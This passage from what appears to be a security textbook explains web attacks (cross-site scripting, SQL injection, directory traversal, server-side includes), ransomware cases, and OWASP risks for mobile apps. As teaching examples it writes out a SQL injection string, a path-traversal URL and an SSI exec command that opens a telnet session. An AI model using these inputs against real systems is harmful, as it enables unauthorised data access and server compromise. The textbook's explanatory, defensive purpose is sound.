This is perhaps the first example of a pen-and-paper script attack. Not only did it fail because the paper ballot was incapable of executing code, but without the HTML indicators <script> and </script>, this “code” would not execute even if the underlying webpage were displayed by a browser. Within a few elections someone may figure out how to encode a valid script on a paper ballot, or worse, on an electronic one.
In 2019, British Airways was the victim of a scripting attack, using modified code on the airline’s ticketing webpage. The modification intercepted the mouse click signal from the payment page of a ticket purchase (when the user clicked [Purchase]). Embedded in the rest of the processing of the ticket sale, extra code copied the payee’s details (name, credit card number), which were then passed to a fraudulent website baways.com/gateway/app/dataprocessing/api . Someone giving a cursory glance at the screen might assume baways.com was just another domain used by British Airways (which legitimately uses domain names ba.com and britishairways.com ). Detecting scripting attacks can be difficult because the bulk of the malicious code resides on the attacker’s servers; the malware is downloaded only when it is to be executed.
SQL Injection
Cross-site scripting attacks are one example of the category of injection attacks, in which an attacker inserts malicious content into a valid client–server exchange. Another injection attack, called SQL injection , operates by inserting code into an exchange between a client and database server.
To understand this attack, you need to know that database management systems (DBMSs) use a language called SQL (structured query language) to represent queries to the DBMS. (We cover DBMSs and SQL in Chapter 7 .) The queries follow a standard syntax that is not too difficult to understand, at least for simple queries. For example, the query
Click here to view code image
SELECT * FROM users WHERE name = 'Williams';
will return all database records having “Williams” in the name field.
Often these queries are composed through a browser and transmitted to the database server supporting a webpage. For instance, a bank might have an application that allows a user to download all transactions involving the user’s account. After the application identifies and authenticates the user, it might compose a query for the user on the order of
Click here to view code image
QUERY = "SELECT * FROM trans WHERE acct='"
+ acctNum + "';"
and submit that query to the DBMS. Because the communication is between an application running on a browser and the web server, the query is encoded within a long URL string
Click here to view code image
http://www.mybank.com?QUERY=
SELECT%20*%20FROM%20trans%20WHERE%20acct='2468';
In this command, the space character has been replaced by its numeric equivalent %20 (because URLs cannot contain spaces), and the browser has substituted ‘2468’ for the account number variable. The DBMS will parse the string and return records appropriately.
If the user can inject a string into this interchange, the user can force the DBMS to return a set of records. The DBMS evaluates the WHERE clause as a logical expression. If the user enters the account number as “‘2468’ OR ' 1 ' \= ' 1 ' " the resulting query becomes
Click here to view code image
QUERY = "SELECT * FROM trans WHERE acct='"
+ acctNum + "';"
and after account number expansion it becomes
Click here to view code image
QUERY = "SELECT * FROM trans WHERE acct='2468'
OR '1'='1';"
Because ' 1 ' \= ' 1 ' is always TRUE, the OR of the two parts of the WHERE clause is always TRUE, meaning that every record satisfies the value of the WHERE clause. Consequently, the DBMS will return all records in the database.
The trick here, as with cross-site scripting, is that the browser application includes direct user input into the command, and the user can force the server to execute arbitrary SQL commands.
Dot-Dot-Slash
Web-server code should always run in a constrained environment. Ideally, the web server should never have editors, xterm and Telnet programs, or even most system utilities loaded. By constraining the environment in this way, even if an attacker escapes from the web-server application, no other executable programs will help the attacker use the web server’s computer and operating system to extend the attack. The code and data for web applications can be transferred manually to a web server or pushed as a raw image.
But some web applications programmers are naïve. They expect to need to edit a web application in place, so they install editors and system utilities on the server to give them a complete environment in which to program.
A second, less desirable, condition for preventing an attack is to create a fence confining the application. With such a fence, the server application cannot escape from its area to access other potentially dangerous system files (such as editors and utility programs or sensitive data). The server begins execution in a particular directory subtree of the file system, and everything the server needs is in that same subtree.
Enter the dot-dot. In both Unix and Windows, “..” is the directory indicator for “predecessor,” and “../..” is the grandparent of the current location. So someone who can enter file names can travel back up the directory tree one .. at a time. Cerberus Information Security analysts found just that vulnerability in the webhits.dll extension for the Microsoft Index Server. For example, passing the following URL causes the server to return the requested file, autoexec.nt, enabling an attacker to modify or delete it.
Click here to view code image
http://yoursite.com/webhits.htw?CiWebHits&File=../
../../../../winnt/system32/autoexec.nt
Thus, even though a malicious user cannot break out of the subdirectory by naming a file directly (for example, C://winnt/system32/autoexec.nt), the attacker can climb backward through the directory structure to get to the desired point.
Server-Side Include
A potentially more serious problem is called a server-side include . This weakness takes advantage of the fact that webpages can invoke a particular function automatically. For example, many pages use web commands to send an email message in the “contact us” part of the displayed page. The commands are placed in a field that is interpreted.
One of the server-side include commands is exec, to execute an arbitrary file on the server. For instance, the server-side include command
Click here to view code image
<!--#exec cmd="/usr/bin/telnet &"-->
opens a Telnet session from the server running in the name of (that is, with the privileges of) the server. An attacker might execute commands such as chmod (change access rights to an object), sh (establish a command shell), or cat (copy to a file).
Website Data: A User’s Problem Too
You might wonder why we raise a website owner’s data in this chapter. After all, shouldn’t the site’s owner be responsible for protecting that data? The answer is yes, but with a qualification.
First, you should recognize that this book is about protecting security in all aspects of computing, including networks, programs, databases, the cloud, devices, and operating systems. True, no single reader of this book is likely to need to implement security in all those places, and some readers may never be in a position to actually implement security anywhere, although some readers may go on to design, develop, or maintain such things. Everyone who reads this book will likely use networks, programs, and so on. All readers need to understand both what can go wrong and to what degree website owners and other engineers and administrators can protect against such harm. Thus, everyone needs to know the range of potential threats, including those against remote websites.
But more important, some website data affect users significantly. Consider one of the most common data items that websites maintain: user IDs and passwords. As we describe in Chapter 2 , people have difficulty remembering many different IDs and passwords. Making it easier for users, many websites use an email address as a user’s identification, which means one user will have the same ID at many websites. This repetition is not necessarily a problem, as we explain, because IDs are often public; if not an email address, an ID may be some obvious variation of the user’s name, such as last name + first initial. What protects the user is the private authenticator, such as a password. Having your ID is no help to an attacker as long as your password is extremely difficult to guess or derive. Alas, that is where users often go wrong.
Faced with many passwords to remember, users skimp by reusing the same password on multiple sites. Even that reuse would be of only minor consequence if websites protected IDs and corresponding passwords. But, as Sidebar 4-10 demonstrates, attackers crave and often obtain websites’ ID and password tables. The attacks describe just a few of many such incidents over time. Combine some users’ propensity for using the same password on numerous websites with websites’ exposure to password-leaking attacks, and you have the potential for authentication disaster.
Sidebar 4-10 Massive Compromise of a Password Database
The New York Times (5 August 2014) reported that a group of Russian criminals had stolen over 1.2 billion ID and password pairs, and 500 million email addresses, as well as other sensitive data. These data items came from 420,000 websites. But that was nothing compared to the CAM4 streaming video website breach exposing 10.88 billion records of IDs and hashed passwords in 2020. Or the RockYou21 breach in 2021 that exposed 3.2 billion plaintext passwords from multiple databases.
To put those numbers in perspective, the U.S. Census Bureau (2022) estimated the total population of the world at slightly more than 7.9 billion people, which of course includes many who are not internet users. Statista estimated that in 2022 there were approximately 5 billion internet users in the world.
Even if it is the website that is attacked, users suffer the loss. Thus, understanding threats, vulnerabilities, and countermeasures is ultimately the website owners’ responsibility. However, knowing that some websites fail to protect their data adequately, you should be especially careful with your sensitive data: Choose strong passwords and do not reuse them across websites.
Ransomware
We consider one more attack that has several forms and sources. In this attack, critical data are held for ransom, literally separated until, presumably, the victim has paid a cash ransom to the attacker.
In a ransomware attack, the criminal seizes a valuable resource from the victim, offering to return it on payment of a ransom. For many organizations today, data is a critical asset. Suppose a city’s digital records are held hostage. The city does not know who owes taxes or how much, the city cannot pay employees because it does not know who is on the payroll or how much they earn, and the city cannot hold an election without a list of registered voters and ways to permit each voter to vote only once. Thus, if there were a way to isolate a city’s resources, normal municipal business would cease.
Let’s return to our exposition of attacks and motivations in Chapter 1 . A prime motive for attack is financial gain. In many attacks we have studied so far, the attacker is hard pressed to make money from the attack, especially not large amounts. A website defacement may embarrass the site’s owner, an in-the-middle attack might net something from a fraudulent transaction, and a clickjack attack could drive up advertising revenue to a site. Possible returns from these attacks are limited by the victim’s resources. If I drain your bank account, I get only what you have in that account, which for many people is not much.
One further complication with these attacks is that they can leave a trail pointing to the attacker: If I extract money via a fraudulent website, I have to get that money into my account, which allows investigators to trace the attack to me. Recent ransomware attacks get around this by transferring the money to accounts in countries that have relatively weak banking procedures.
Two popular targets of these attacks are governments and hospitals, both organizations that have lots of money (or so the attackers perceive). Initially, organizations refused to pay, for two reasons. First, law enforcement warned that paying the attackers would encourage future attacks. Second, the attacker’s resource is not transferrable: Unlike cash or jewels, city financial data have no alternative market. If the city refuses to pay, the attacker has nothing of value to anyone else. After the first of these attacks, cities and others redoubled their backup and separation strategies to be able to continue operating, at a degraded speed or simplicity, perhaps. Staying alive broke the attacker’s stranglehold in many cases.
With that background, let us consider some examples of ransom attacks.
Conti Group
Conti Group, successor to the Ryuk gang, is an aggressive, ruthless Russian cybercrime syndicate. Common victims are medical providers, such as hospitals. Captured data include patient records as well as control data for automated medical treatment devices. The FBI has connected the Conti Group with over 400 attacks worldwide.
Conti is an especially effective money-making ransomware operation. In the year 2021 it generated approximately US$180 million. It operates as a ransomware-as-a-service function, meaning it runs a suite of attack tools ready to be thrown at a victim. The attack toolkit has been assembled over time, exploiting misconfigured firewalls, exposed remote desktop operations, malicious attachments or links, and even phishing and spear phishing attacks against targeted users via email.
Conti engages in what is called double extortion: To increase pressure on victims, Conti not only holds data pending payment, but it presses victims for quick payments by threatening to make the held data public. Medical providers, especially, are concerned about patients’ sensitive data being released. It also targets organizations with at least US$100 million in annual revenue, organizations likely to be willing to pay large ransoms.
Colonial Pipeline
Colonial Pipeline, which supplies about 45% of gasoline for the east coast of the United States, was the victim of a ransomware attack in May 2021. From its investigation, the pipeline provider determined that only its corporate IT network was affected, not the network that controls the pipeline; nevertheless, out of an abundance of caution, Colonial Pipeline shut down its delivery network for approximately a week, severely disrupting road travel and airline and shipping activity.
Colonial Pipeline paid a ransom of 75 bitcoin, then valued at approximately US$4.4 million to the Dark Side group, an organization believed to operate in Russia. In June 2021, the U.S. Department of Justice seized 63.7 of the ransom bitcoin, which had a value of only US$2.3 million then because of a substantial drop in the value of bitcoin.
Scope of the Ransomware Problem
Ransomware has become a very serious problem for major computing installations, such as governments, hospitals, banks and other financial institutions, and physical process control organizations (water systems or fuel pipelines, for example). According to IBM’s 2020 Threat Intelligence study [ IBM21 ], ransomware was the most popular attack method in 2020, making up 23% of all incidents IBM Security X-Force responded to and helped remediate.
X-Force conservatively estimates that one group, the Sodinokibi (also known as REvil) ransomware actors, alone made at least US$123 million in profits in 2020 and stole around 21.6 terabytes of data. The European Union Agency for Cybersecurity calculates that more than EUR€10 billion (US$10.5 billion) was paid in ransom in 2019 [ ENI20 ]. In some cases, even after paying a ransom, the victims did not receive the data being held hostage.
Many bodies purchase insurance against ransom attacks, so the organizations themselves do not necessarily pay the ransom. Nevertheless, insurers recover their payouts through premiums from all customers, so the ransom payments represent a collective drag on the world’s economy.
Foiling Data Attacks
All the attacks in this section depend on passing commands disguised as input. As noted in Chapter 3 , a programmer cannot assume that input is well formed.
As one defense against data attacks, an input preprocessor could watch for and filter out specific inappropriate string forms, such as special characters in data expected to contain only letters and numbers. However, to support input from different keyboard types and in different languages, some browsers encode special characters in a numeric format, making such input slightly more difficult to filter.
The second countermeasure that applies is access control on the part of backend servers that might receive and execute these data attacks. For example, a database of names and telephone numbers might support queries for a single person but reject queries that return many pairs of names and numbers. To assist users who are unsure of the spelling of some names, the application might support a wildcard notation, such as AAR* to obtain names and numbers of all people whose name begins with AAR. If the number of matching names is under a predetermined threshold, for example 10, the system would return all matching names. But if the query produces too many matches, the system could return an error indication.
In general, however, blocking the malicious effect of a cross-site scripting attack is a challenge.
4.4 Mobile Apps
Many internet applications were originally designed for accessing the web using a computer and keyboard. But over the years, as other “smart” devices became internet-enabled, access has been provided in other ways. The browser is still a familiar user interface for accessing internet-enabled services and applications through webpages. But an increasingly popular alternative interface is the mobile app, even on traditional computers. For example, BBC News can be read at its website ( bbc.co.uk ), by using an unofficial app on a computer (available from repositories like the Microsoft Store), by using official or unofficial apps on a mobile phone or tablet, and even, at one time, on a smartwatch (BBC has since discontinued the smartwatch app). Indeed, on mobile devices, apps may be used more frequently than the browser. We focus on mobile apps in this section because they are inseparable from the mobile devices on which they are installed and run.
Apps and Security
Hello world!
Many people, perhaps even you, learn to write an elementary program by creating just a few lines of code to display that simple message, “Hello world!” It is not exciting and certainly not the most challenging of apps to write. But we all have to start somewhere. That simple app shows you that you, too, could write an app. You may also have realized that if you could do it, so could many others.
Apps
Simply stated, apps are single-purpose applications intended to run on a particular platform. Many are small and focused, although some are large and complex. Some apps are general purpose, for example, to sort and label photographs. Others are specific: an app to display the content of a particular newspaper, present products to buy from a particular retailer, or show the weather forecast. Many apps, like those that stream videos or support online meetings, are inherently tied to the internet. In this section we focus only on internet-related apps because this chapter describes human interaction with the internet and the associated security issues.
Apps are numerous, with more available every day. Students write new apps as programming assignments in classes and then make them available for others to use. Commercial establishments create apps to make it easy for customers to buy items, answer questions, or even play games (such as the New York Times app for completing the daily crossword). Governments build and field apps to help citizens find answers to their questions about regulations and services, such as how to report a pothole in the road. So friends, businesses, social groups, government agencies, and even criminals want you to install and use their apps. As you can guess, not all apps are safe to use.
If Claudio tells you an app is good, does he mean it is useful, interesting, fun to use, addictive, or secure? Do you carefully consider the pros and cons before deciding to install an app? Some people agree based just on Claudio’s urging. But others check out what the app does, often weighing security, convenience, and other factors before deciding to install and use it. Unfortunately, app security is hard to ascertain.
Before we dive into app security, let us consider the key differences between an app and a website. After all, if you have a choice between visiting a website or using the corresponding app, security may influence your decision. For example, you may be able to book a hotel room at the hotel’s website or through the hotel’s app. Which is the better choice from a security point of view?
Five significant differences between apps and websites are these:
-
Using a website requires some kind of connectivity. You must be connected to the internet using technology such as WiFi or mobile data to be able to access the website’s data and functions. By contrast, a mobile app resides directly on the mobile device, and many of its functions can be used without internet connectivity.
-
Mobile apps sometimes interact with other features on the device, such as the camera, calendar, and contacts list. Apps may be specific to a particular device type (Apple or Android), where it is known those features exist. Websites are written to run on any device and through any browser. Sidebar 4-11 explains why this difference makes mobile apps more of a security risk.
Sidebar 4-11 Who’s Watching the Baby?
Researchers at the Electronic Frontier Foundation (EFF) revealed a series of serious vulnerabilities in mobile apps used by organizations providing daycare for young children [ HAN22 ]. Popular mobile phone apps such as HiMama, Tadpoles, and Brightwheel lacked two-factor authentication—meaning that a hacker would need only a user ID and password to access information about a child or send bogus messages to parents. Moreover, many of the apps shared data with third parties like Facebook, but the sharing was not addressed at all in the app’s privacy policy.
This work confirms the findings of Moritz Gruber and his colleagues [ GRU22 ], who examined the security and privacy protections of 42 Android-based daycare apps. Focusing on apps that “assist childcare workers with daily tasks and address a growing demand for fast and easy communication” with parents, they found 107 tracking and third-party libraries in 40 of the applications. Moreover, “some of the tested applications relied on misconfigured cloud storage that allowed anyone to access and download data,” including messages, photos, and information about the children’s activities—including diaper changes!
Alexis Hancock, the lead EFF researcher, interviewed by the Verge , reported that “I found trackers in a few apps. I found weak security policy, weak password policies, … I found vulnerabilities that [would be] very easy to fix as I went through some of the applications. Really just low hanging fruit” [ FAI22 ].
The Verge points out that “for years, researchers have raised concerns over security weaknesses in baby monitor apps and associated hardware, with some of these weaknesses exploited by hackers to send messages to children. More broadly, a survey of 1,000 apps likely to be used by children found that more than two-thirds were sending personal information to the advertising industry.”
-
After being installed, mobile apps run in the background, perhaps even when you are not using them. Their functioning stops only when you power off the mobile device. But website applications stop when you close the website’s browser window, and you can delete the application’s history (including data collected about your transactions) when you close the browser window.
-
Mobile apps collect, store, and transmit data, but you may not be able to monitor what they do. You can control some of their privileges to access stored data. By contrast, after a browser closes, you can clean up crumbs it has left behind; some browsers, for example, let you automatically erase any cookies the browser’s pages have stored during the session. Mobile apps and their underlying operating system make it harder to determine or limit what the apps can do.
-
Updates to mobile apps can be made only when its resident device is connected to the internet. But websites can update their code immediately. This difference means that, should a vulnerability be found, a website owner can fix it immediately, but a mobile app must wait until the next time it’s connected.
So using a mobile app carries with it some security risks not found on websites or other applications. In the rest of this section we address three topics:
-
What vulnerabilities are frequently found in mobile apps?
-
How can you as a user protect yourself against their vulnerabilities?
-
What can app developers do to prevent vulnerabilities?
Mobile app attacks are similar to browser attacks, but app attacks exploit not only the technology but also your likely behavior when using them. Some apps are designed to be used on the move, supporting quick, short bursts of use. But such use encourages rapid and impulsive decision making that limits protection options. The “always on” nature of mobile devices implies that mobile apps can be accessed around the clock, often while you are focused on other things. Because of this full-time use, you may not always pay close attention to security settings. Furthermore, because much of the mobile environment is influenced by advertising revenue, many apps are designed to encourage participation and consumption. App developers have incentives to keep you engaged with the technology, even engrossed in it, and not to consider security.
Mobile Devices
We cannot study apps without also considering the devices on which they run. Each is designed for the other.
Simplistically, mobile devices are computers that you can hold in a hand—smartphones, smartwatches, and tablets, for example. But they often are more than that: They have cameras, fingerprint readers, microphones, speakers, display screens, storage, accelerometers, temperature sensors, and other hardware features. They communicate by WiFi, cellular data, Bluetooth, near field communications (NFC), direct (USB) connection, and voice telephony. They run on built-in operating systems and execute both resident and downloaded apps. They store, process, and transmit data using all their communications channels. Perhaps most important, you, as the user, control how they operate, although hardware and software designers try to let the devices run with little management by you.
The code on these devices is ostensibly under your control; in reality, most users scarcely know what their apps are doing.
What makes mobile devices and code a security problem? Think for a moment about a conventional computer. It does one thing: compute. Originally it sat in a machine room to which physical access was strictly controlled. Then, as large computers were replaced by PCs, the computer sat on or next to a desk. Still, it was a business device, with some degree of centralized update management, application installation, and protection against physical access or theft. Over time, however, use of PCs began to reflect the P for “personal” in their names. A PC was used by one person (or perhaps shared among family members or in a common workspace). Decentralized ownership and control also meant each user had to assume responsibility for protection.
Mobile devices carry this personal responsibility to a new level. Relatively inexpensive, typically not purchased or maintained by employers, they are less likely than conventional computers to run security software. Indeed, mobile devices seldom have anti-virus or anti-malware products. We sometimes think of such devices as expendable, a viewpoint encouraged by hardware vendors who orchestrate a never-ending parade of new models with ever-more attractive features (not rejecting the situation that having the latest model is a status icon).
Apps are well suited for distributing false or misleading code because so many smartphone apps are created by third parties, and many smartphone users are inexperienced and trusting.
Although we often use apps for banking, shopping, supporting work, and accessing civic services (such as health advice, public transportation passes, and welfare or other benefit claim tools), mobile devices do not have the same protection as computers.
They are smaller than personal computers, which also makes a difference. They are easier to lose than a computer. And somehow fitting it in a pocket (or on a wrist or a bicycle handlebar) and always being at hand builds a sense of intimacy between the individual and the mobile device. Consequently, there are differences in vulnerability, resources, and capabilities for managing these devices. And these differences might be exacerbated by users’ age, socioeconomics, and other factors.
Threats to Mobile Computing
In Chapter 1 we introduce the C–I–A triad of confidentiality, integrity, and availability. We rely heavily on those three threat vectors throughout this book. Applications on mobile devices are no exception to this paradigm. Human and nonhuman threat agents intentionally or nonmaliciously create the environment for harm from the use of mobile code.
Bad Things That Can Happen
Confidentiality of data is probably the major concern with apps because you entrust so much personal data to these devices. In Chapter 9 we consider privacy. Although most experts separate security from privacy, the two are so closely related that we cover both in this book. Threats to data privacy by mobile devices deserve more attention than most people give them.
Data privacy deserves more attention that it currently gets.
Not far behind confidentiality, however, is availability. Everybody stores so much on mobile devices—photos and videos; location; music; details of contacts; access to credit cards, bank accounts, and other financial resources; passwords; emails and messages; even documents. Throughout this book we shout BACK UP YOUR DATA. On a computer you can easily insert a memory stick or implement a cloud backup regime (and we hope you follow our advice to do so). Mobile devices are more complicated to back up. Many technology vendors offer free backup services in the cloud, often to entice you to save everything and then eventually to pay for extra cloud storage space. For instance, Proton offers free, encrypted cloud storage for your data (proton.me/drive), and Apple and Google offer to back up your iPhone and Android phone contents to the iCloud ( apple.com/icloud/ ) and Google Drive ( one.google.com/about ), respectively. However, in most cases, the default is “no backup,” and you must take action to make backup a default. For example, default backups are a two-step process for an Android phone: first establishing a Google account and then changing the phone’s settings to make automatic backups the default.
Non-cloud options exist, of course. You can copy your data to your computer, to a memory stick, or to larger drives that you then store in a safe place (preferably offsite); you can even send important data to a friend’s device.
None of these steps requires significant time or money; cloud storage, even when a fee is required, is still far cheaper than the cost of recreating or restoring all the data on your device. Nevertheless, people learn the hard way the importance of data on a mobile device.
What about breakage? The mobile device technology is amazingly robust. Under normal conditions, mobile devices seldom break. However, normal conditions do not include dropping, drowning, baking, or crushing, all of which happen to mobile phones. Because of their size and usage, mobile phones are sometimes destroyed, much to the dismay of users who realize too late how much they depend on their phones for connectivity, programs, and data.
Losing or misplacing a physical device is the other key availability failure. As computers shrank from mainframes to minicomputers to desktop PCs to laptops to tablets to handheld mobile phones to wristwatch devices, they became easier to lose, drop, lay down, leave behind, or otherwise misplace. A 2020 study by mobiles.co.uk reports that in the United Kingdom alone, more than 98 million mobile phones have been lost since 2007. The U.K. population in 2020 was about 68 million; by rough calculation, then, one in ten Britons each year loses a mobile phone.
Let us not forget integrity. We expect correct computations from our computing devices, and most of the time we get that. As security engineers, however, you should realize by now that integrity does not occur effortlessly.
Who and What Cause Bad Things
Remember from Chapter 1 how harm happens. Some bad outcomes are accidental; for example, you drop your phone in the lake while trying to take a photo of the Loch Ness monster. Although it can seem as if the world is out to get you, it really is not. Be more careful the next time.
Bad people, not the world, may be out to get you. We describe how motive, opportunity, and method come together in a successful attack.
-
Motive . Many attacks involve money, either directly from you or indirectly from the enormous revenue structure the internet supports. Money is obviously compelling.
-
Opportunity . So many people use so many apps on so many devices that criminals have their choice of targets. Even a small success rate is profitable with a large attack.
-
Method . Apps can conceal vulnerabilities so that neither code review nor execution makes the attack readily apparent.
In the next section we explore the vulnerabilities of mobile devices and mobile apps and the threats they face.
Vulnerabilities from Using Apps
Because apps are programs, many of the program failings described in Chapter 3 apply here as well. In addition, apps are often similar to web browser interactions, so many of the vulnerabilities of browser use described earlier in this chapter apply to apps too. In this section we describe weaknesses that are specific to how users interact with web content by means of apps.
Apps often fit a client–server model of interaction, as Figure 4-16 depicts. The app is a client representing a user in interaction with a remote server. The app accepts input, takes action, and returns data to the user.
FIGURE 4-16 Client–Server Architecture Model
The illustration shows a user and application on the right, corresponding to the client. The server unit comprises a front end (interface) and a back end (data and processing). A cloud shape between the client and the server connects to both.
OWASP Top 10
The Open Web App Security Project (OWASP), founded in 2001, is an international foundation whose mission is to improve the security of web apps. Approximately every four years it publishes a list of what its members consider the ten most critical security risks to web apps; the list is a guidance document for developers, testers, and managers to reduce security vulnerabilities in web apps. (The most recent list is [ OWA21a ].) The list changes over time as developers become more sensitive to certain problems and new issues arise.
Here are several app vulnerabilities OWASP has highlighted on its lists. (This set of topics includes items from different OWASP lists over time, although the lists share many entries in common.) We think these items succinctly identify common problems with web apps.
Injection
We described injection attacks earlier in this chapter. Simply put, an injection attack is the use of input data to affect an app’s behavior maliciously. Most apps receive input that dictates the app’s behavior, just as the programmer intends and the user expects. The key term in the attack is “maliciously,” meaning in ways the original developer never intended.
One example of an injection attack is the SQL injection, introduced earlier in this chapter. In that attack, the input stream contains commands passed to and acted on by a database management system. Another injection attack involves embedding control characters (such as a break character to mark the end of a string). A hidden break character could make a URL look fine to the user (for example, https://www.mybank.com ), but it could actually continue on a line the user cannot see (https://www.mybank.com<break>/malwaresite.com). Although you think the URL directs to mybank.com , that portion is parsed as a modifier to the real destination of malwaresite.com . A third type of injection attack involves embedded, undisplayable control characters that trigger commands to the operating system.
In all these attacks, the input stream contains something it should not. Every app is responsible for checking its input. For example, if the expected input is text, the app should filter out anything but printable text characters. Responsibility for creating the input-checking code is on the app developer, but there is no way someone else can ensure that the input checking was done correctly and completely.
Cross-Site Scripting
Scripts are a common programming tool. A website passes program code to help display content, for example, by positioning text on different sized displays or handling dynamic activity like a running banner of text across the bottom of the screen. Languages that act on scripts include Java, Perl, Python, Ruby, VBA (based on Visual Basic), and Php.
Many apps run scripts for positive purposes, but there are also malicious scripts. Not all unacceptable script behavior can be easily identified and filtered by an app. Scripts can access anything to which the app has access permissions. They can harvest data, change stored files, or activate (or deactivate) the camera, for example. The name cross-site scripting for this type of attack reflects the interaction between device and site; it means that the attack script crosses from a site back to your device. The range of possible script actions is almost unlimited.
As an example, consider a merchant website with a feedback form by which customers can rate and comment on products; these reviews are then posted to the merchant’s website. You use the merchant’s app to access those ratings. A malicious customer could submit a review that contains a script; the script would then be downloaded and executed on your device just by your viewing the customer ratings. The script may have no impact on the display, so you remain unaware as the malicious code executes.
Faulty Authentication
Each app controls access to its own resources—code, data, websites, support apps, and so forth. Although mobile devices perform authentication, that usually happens only when the device is powered on or unlocked. Apps may need to confirm to remote servers that their users are authentic. Apps may also need to participate in the computer-to-computer authentication described earlier in this chapter.
Chapter 2 describes authentication and some of its pitfalls. Sadly, after many decades of computer use, strong authentication remains a significant challenge, as the number of authentication schemes (passwords, passphrases, tokens, fingerprints, other biometrics) indicates. Operating systems have used authentication for many years, so their designers and maintainers have years of experience (by trial and error) to guide them. Unfortunately, app developers do not all have this body of experience.
Risks to authentication include these things:
-
permitting brute force attacks against authentication
-
permitting or shipping a product with known weak authenticators, such as “admin” as a default password
-
storing passwords in plaintext or using a weak encryption scheme to secure a list of passwords
-
reusing session identifiers or using easily guessed ones
-
passing a session identifier or other authenticator in plaintext in a URL string
Although these attacks are familiar to you from reading about them in other chapters of this book, some apps are open to their exploitation.
Access Control Failures
Implementing access control is covered in almost every chapter of this book. As you know by now, there are many ways to fail to control access effectively.
Access control failures include these situations:
-
not enforcing least privilege or establishing too lenient a set of default permissions; implementing access control that is too coarse (access to all or access to none, instead of access to specific items the user needs for the task at hand)
-
allowing the user to avoid access control, for example, by directly modifying a URL string
-
allowing elevation of privilege
-
permitting direct access to a hidden application through a programming interface (API) or data
-
failing to revoke access at end of a session or other interaction
Broken, incomplete, or inadequate access control has many instantiations, so it is the top vulnerability on the OWASP 2021 list [ OWA21a ] and has appeared in most previous lists.
Insecure Direct Object References
Apps should shield resources from users. A banking app could reasonably return your account balance or most recent transactions, or set up a transfer between accounts. In none of these activities do you or the app need to know of or interact with the bank’s files directly; the app should translate from user commands or inputs on a form to a data structure to guide the bank’s internal systems that actually read and write the bank files. The app should hide the internal structure of the bank’s account system.
Consider this simple example. You are interacting with an accounting app for your company and have entered your name and been properly authenticated. You choose [Show pay data] and are presented a screen with some fields filled in; others are still empty for you to complete. The screen shows your name and a field KEY with value 1234; the app prompts you for the month for which you want to see how much you were paid; from a drop-down menu you select [May]. The app returns how much you were paid during May. You noticed on the previous screen that KEY is a field you can fill in, even though when you started it was already populated with 1234. You try completing the previous screen with KEY 1235, and the app shows you how much your colleague Hari was paid; you try other numbers and soon find the amounts many other coworkers were paid. (This example is overly simple to make it easy to understand.)
Most important is that the app shows data you do not need to know; KEY in this case is a direct reference to a table of pay amounts, and the reference values are predictable. Apps need to be careful not to expose data values, like table positions, file names, database keys, or database field names, that regular users do not need to see or use.
Security Logging and Monitoring
Consequences of an app failure can be major. Apps can have broad access to data and other resources, but they do not have the full strength of an operating system to limit those accesses (as described in Chapter 5 ). Because the app is the only connection point between a user and these resources, the app is the only thing that can account for what activities its users have performed.
Apps need to ensure users’ activities are monitored and documented. Many apps generate a log of actions. In the event of a failure, that log will help security administrators determine what happened, what sensitive data may have been compromised, and how to prevent such problems in the future.
Here are vulnerabilities in the monitoring and logging process:
-
failing to record all significant accesses
-
allowing the access record to be lost, deleted, modified, or suspended
-
not raising an alarm when a threshold of suspicious activity has been passed
-
alerting too late, in an unclear manner, or with inadequate detail; likewise, generating excessive alerts
Cryptographic Failings
In the client–server model, you and your app, acting as the client, interact with a server that does work or provides data. Connections between the app and the server may be exposed to unwanted interception or modification. Some situations require protecting the individual data items (such as financial data, account or credit card numbers, health records, or other personal information). Chapter 2 introduces several cryptographic protections that can be applied.
Even though the app developers may not write the cryptographic code themselves, they need to be aware of cryptographic protections, how to implement them, and how to use them securely. For instance, the developers need to code the apps to generate, store, and use cryptographic keys securely; they may also need to employ cryptographic hash functions to make integrity failures evident.
Software and Data Integrity Issues
Software and data integrity failures relate to code and infrastructure that do not protect against integrity violations. The biggest source of integrity violations is to the code of the app itself. An app is dangerous if an attacker can modify or substitute the code of the app itself—in a library, in an app store, during download and installation, while running, or through an update. See Sidebar 4-12 for a real example of exploitation of this vulnerability.
Sidebar 4-12 This Release Includes Bug Fixes and Performance Enhancements
In March 2020, a company called SolarWinds released a normal update to its Orion product that over 30,000 customers use to monitor and manage networks. Orion is used by many U.S. government departments, as well as industry leaders such as Microsoft, Cisco, and Intel. (We describe other aspects of this attack in Chapter 3 .)
What neither SolarWinds nor its customers knew was that months earlier, hackers believed to be from Russia infiltrated the SolarWinds network and modified the code base that would be distributed for this update. Nobody detected the intrusion into the SolarWinds system; worse, nobody found the malicious code in users’ networks until December 2020, meaning that in some cases, unknown spies were able to capture as much as nine months’ network activity from SolarWinds’ customers.
What better way to install a malicious app than to modify the code users will download to maintain what has been previously installed?
Vulnerable or Outdated Components
A computing system is the combination of many components, any of which can be a weak link that permits a successful attack. For example, applications rely on plug-ins, libraries, or modules from other sources. A weakness in any of these leads to a weakness in the app. When an app is composed of code from several sources, the app developer has to follow them all for updates and changes. Consider the time delays from when a flaw is discovered in a library until an updated library is tested and incorporated into an app that a user then installs. Until a new version is installed, the old app is vulnerable. A worse problem occurs if an app depends on a piece of software that is no longer supported.
Security Misconfiguration
Like it or not, you are the security administrator of your devices. You may think of an app as something you install and then forget about (as it runs quietly by itself). Unfortunately, the world around apps is constantly changing, as device operating systems are modified, new apps are installed, and new vulnerabilities are exploited. Failing to maintain the configuration of your apps puts you at risk. Here are some configuration problems you should watch out for:
-
failing to apply current updates or running outdated versions
-
not changing default values (passwords, especially) and not changing critical passwords regularly
-
leaking information (such as directory structure or capacity)
-
running unnecessary services on the device
-
failing to monitor error logs and warnings
In the corporate setting, some security managers use a checklist of security tasks to perform when installing a new or updated app. Security managers might also set up app protection policies on mobile devices to automatically prevent some of these problems. A range of security products can help administrators carry out app protection. For example, such technologies can restrict what corporate data apps can access and what apps can do with such data, enforce authentication before each app is used, restrict which apps can be invoked, and monitor for threats to the integrity of the apps.
Summary
The vulnerabilities listed are common pitfalls found in apps. Indeed, part of OWASP’s process in listing its top vulnerabilities is to poll developers and users to identify what they have found as the most important current problems. You should recognize many of the vulnerabilities in this list from other discussions in this book; access control, cryptography, authentication, and software integrity come up repeatedly. You might incorrectly conclude these problems are, or should be, solved by now. Here is why these problems persist.
Why Apps Have Flaws
OWASP’s list focuses both on specific flaws present in some apps and on steps that should have been taken (but weren’t) to ensure an app’s security. But why do apps have flaws? In this section we explore inherent problems with the concept of apps.
